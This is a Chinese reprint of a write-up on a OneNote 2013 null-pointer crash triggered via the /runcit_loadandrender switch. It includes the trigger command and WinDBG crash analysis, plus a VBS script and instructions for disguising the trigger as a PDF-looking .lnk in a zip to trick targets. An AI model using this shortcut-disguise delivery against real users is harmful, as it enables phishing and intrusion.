转载

微软OneNote 2013空指针读取或造成RCE

问题存在

软件:One Note 2013 操作系统名称:Microsoft Windows 7 Professional 操作系统版本:6.1.7601 Service Pack 1 Build 7601 制造商:微软公司

根据WinDBG的!exploitable扩展,微软OneNote 2013至少存在一个拒绝服务漏洞并且极易造成远程代码执行。

当你在你所控制的web服务器的根目录下通过/runcit_loadandrender请求一个以下文件类型之一的URL,该问题就显现出来了:

index.htm index.htm.old index.html index.html.old index.php index.php.old

需要注意的是,对于该漏洞所有请求上述的文件都在远程web服务器根目录下,但是不能够直接请求。当单纯的调用web服务器下的根目录,OneNote似乎会去检测上述文件是否存在。

Part 1: 设置及执行

首先在你控制的服务器上创建一个index.htm(或者上述的文件类型)文件。在该文件中不需要任何的内容,虽然对于长远的利用来说里面是需要呈现一些内容的,但是我们现在不需要考虑这么长远。

其次,在C:/Program Files/Microsoft Office 15/root/office15目录下运行以下CMD命令:

ONENOTE.EXE /runcit_loadandrender http://your_web_server.com/

注意上面的命令,我们没有直接请求index.htm文件。如果我们直接请求该文件,那是不会成功的。只需要将路径指向网络服务器的根目录即可。

执行上面的命令后,得到的结果:

微软OneNote 2013空指针读取或造成RCE

Part 2: 分发

我们需要将一个文件传送到目标,在不产生过多让人生疑的情况下执行上述命令。

对于让用户自己执行上述命令来说几率小的可怜,但我们可以试试简单的将其压缩成.lnk文件

创建一个.lnk文件,我没有选择“右键>新建>快捷方式”这种处理方式,而是写了一个.vbs文件用来创建.lnk文件,最终发送到目标。

CreateLnk.vbs:

Set oWS = WScript.CreateObject("WScript.Shell") sLinkFile = "C:/temp/financials_2015.lnk" Set oLink = oWS.CreateShortcut(sLinkFile)     oLink.TargetPath = "C:/Program Files/Microsoft Office 15/root/office15/ONENOTE.EXE"     oLink.Arguments = "/runcit_loadandrender http://yourserver.com"     oLink.Description = "Financials_2015" oLink.Save

双击文件,会在C:/temp目录下创建一个financials_2015.lnk文件。记得替换相关信息!

更改快捷方式图标:

我们会使用PDF图标,你可以从http://www.cltd.net/images/PDF.ico抓取ico图标

右击/属性你刚才创建的.lnk文件,并单击“更改图标”按钮

微软OneNote 2013空指针读取或造成RCE

指向你的PDF.ico文件,保存/应用等等,最后你应该可以看到:

微软OneNote 2013空指针读取或造成RCE

将结果financials_2015.lnk添加到.ZIP文档内

大多数RCE利用都有结合社会工程学元素,这就是我们在这里所完成的事情。

警告:.lnk是不能从zip文件中直接打开的,所以需要用户解压文件。大多数用户都会解压文件,对么?目标接收.zip文件,提取.lnk文件,双击这份看起来很像PDF的文件,之后ONENOTE.exe带着我们的参数在执行!

仅供参考:或许使用记事本图标更不会引起用户的怀疑,但你得考虑到这份文件被打开的几率。这里就看你是怎么玩转社会工程学的呢!

Part 3: 调试崩溃 (某种程度上)

首先我是用系统内置的procdump.exe监控onenote.exe进程,可以得到一份.dmp文件

在同一个窗口:

procdump.exe -e -t -h -mp -w onenote.exe

敲击回车键开始监控ONENOTE.exe进程

在另外一个窗口,使用存在漏洞的参数执行你的ONENOTE.exe命令:

ONENOTE.EXE /runcit_loadandrender http://your_web_server.com/

在procdump中你可以看到这些有趣的东西:

微软OneNote 2013空指针读取或造成RCE

正如我们看到的C0000005.ACCESS_VIOLATION,对于进一步分析.dmp文件来说这是一个好消息。

随着MSEC.dll扩展(!exploitable)在异常中得到一个初步的基础分析,我使用WinDBG来分析.dmp

打开WinDBG,本例中使用x86版本。CTRL+D导入.dmp文件

!analyze -v:

0:000> !analyze -v ******************************************************************************* *                                                                             * *                        Exception Analysis                                   * *                                                                             * ******************************************************************************* *** ERROR: Module load completed but symbols could not be loaded for ONENOTE.EXE *** WARNING: Unable to verify timestamp for mso.dll *** ERROR: Module load completed but symbols could not be loaded for mso.dll GetPageUrlData failed, server returned HTTP status 404 URL requested: http://watson.microsoft.com/StageOne/ONENOTE_EXE/15_0_4763_1000/55f7f10c/ONMAIN_DLL/15_0_4779_1000/5641a4fc/c0000005/003806e3.htm?Retriage=1 FAULTING_IP:  ONMAIN!Jot::Automation::ObjectModel::WriteToLog+39c42 629706e3 8b01            mov     eax,dword ptr [ecx] EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 629706e3 (ONMAIN!Jot::Automation::ObjectModel::WriteToLog+0x00039c42)    ExceptionCode: c0000005 (Access violation)   ExceptionFlags: 00000000 NumberParameters: 2    Parameter[0]: 00000000    Parameter[1]: 00000000 Attempt to read from address 00000000 DEFAULT_BUCKET_ID:  NULL_POINTER_READ PROCESS_NAME:  ONENOTE.EXE ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1:  00000000 EXCEPTION_PARAMETER2:  00000000 READ_ADDRESS:  00000000  FOLLOWUP_IP:  ONMAIN!Jot::Automation::ObjectModel::WriteToLog+39c42 629706e3 8b01            mov     eax,dword ptr [ecx] MOD_LIST:  NTGLOBALFLAG:  0 APPLICATION_VERIFIER_FLAGS:  0 FAULTING_THREAD:  00001a94 PRIMARY_PROBLEM_CLASS:  NULL_POINTER_READ BUGCHECK_STR:  APPLICATION_FAULT_NULL_POINTER_READ LAST_CONTROL_TRANSFER:  from 62970682 to 629706e3 STACK_TEXT:   WARNING: Stack unwind information not available. Following frames may be wrong. 0022461c 62970682 00224640 00000000 91040962 ONMAIN!Jot::Automation::ObjectModel::WriteToLog+0x39c42 00224650 6285f7ca 002246f8 00000000 91041652 ONMAIN!Jot::Automation::ObjectModel::WriteToLog+0x39be1 00225960 6280781f 08eb5d18 06936480 00000000 ONMAIN!MsoCF::PerfMetrics::Finish+0x7d4b9 0022e84c 62659fa6 08ecd340 0022e87b 9104a752 ONMAIN!MsoCF::PerfMetrics::Finish+0x2550e 0022ec88 62659d89 068969a8 9104a386 08ecd340 ONMAIN!Jot::CJotSurfaceWnd::FScrollBarsOnLeftDefault+0xa933 0022ecb4 62637983 62e75c48 0022ed4c 08ecd340 ONMAIN!Jot::CJotSurfaceWnd::FScrollBarsOnLeftDefault+0xa716 0022ed14 62b8301e 0066cc30 0022ed4c 08ecd340 ONMAIN!Jot::ThemeColors::GetTranslatedColor+0x33a 0022ed68 62b831b0 08f16698 9104a2a6 069961b0 ONMAIN!Jot::MoveFolderDialog+0x207ee 0022ed94 62cee5ba 069961b0 0022ee00 62637983 ONMAIN!Jot::MoveFolderDialog+0x20980 0022eda0 62637983 62e80e6c 08ecd2e0 069961b0 ONMAIN!Jot::GetSchemaFromResourceAsString+0x19b7 0022ee00 01162cd8 0066cc30 0022ef04 069961b0 ONMAIN!Jot::ThemeColors::GetTranslatedColor+0x33a 0022ee18 011465fc 0022ef04 069961b0 9104bbeb ONENOTE+0x62cd8 0022f7a8 01102adb 01219070 00000001 9104b777 ONENOTE+0x465fc 0022fb34 0110217c 0121925c 005d4739 0022fbd8 ONENOTE+0x2adb 0022fb44 01102137 01100000 00000000 005d4739 ONENOTE+0x217c 0022fbd8 7715337a 7efde000 0022fc24 77959882 ONENOTE+0x2137 0022fbe4 77959882 7efde000 7940cd15 00000000 kernel32!BaseThreadInitThunk+0xe 0022fc24 77959855 01101a8c 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70 0022fc3c 00000000 01101a8c 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b SYMBOL_STACK_INDEX:  0 SYMBOL_NAME:  onmain!Jot::Automation::ObjectModel::WriteToLog+39c42 FOLLOWUP_NAME:  MachineOwner MODULE_NAME: ONMAIN IMAGE_NAME:  ONMAIN.DLL DEBUG_FLR_IMAGE_TIMESTAMP:  5641a4fc STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID:  NULL_POINTER_READ_c0000005_ONMAIN.DLL!Jot::Automation::ObjectModel::WriteToLog BUCKET_ID:  APPLICATION_FAULT_NULL_POINTER_READ_onmain!Jot::Automation::ObjectModel::WriteToLog+39c42 WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/ONENOTE_EXE/15_0_4763_1000/55f7f10c/ONMAIN_DLL/15_0_4779_1000/5641a4fc/c0000005/003806e3.htm?Retriage=1 Followup: MachineOwner ---------

!exploitable:

0:000> !load C:/Users/Desktop/MSECExtensions_1_6_0/x86/Release/MSEC.dll 0:000> !exploitable !exploitable 1.6.0.0 Exploitability Classification: PROBABLY_EXPLOITABLE Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at ONMAIN!Jot::Automation::ObjectModel::WriteToLog+0x0000000000039c42 (Hash=0x37399424.0xbf864ca4) The data from the faulting address is later used as the target for a branch.

根据微软的!exploitable扩展,这是一个在空指针读取中“可能存在的利用”。

这个到底能不能利用欢迎看这个 DuckDuckGo 搜索结果

*原文地址: x4zx ,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...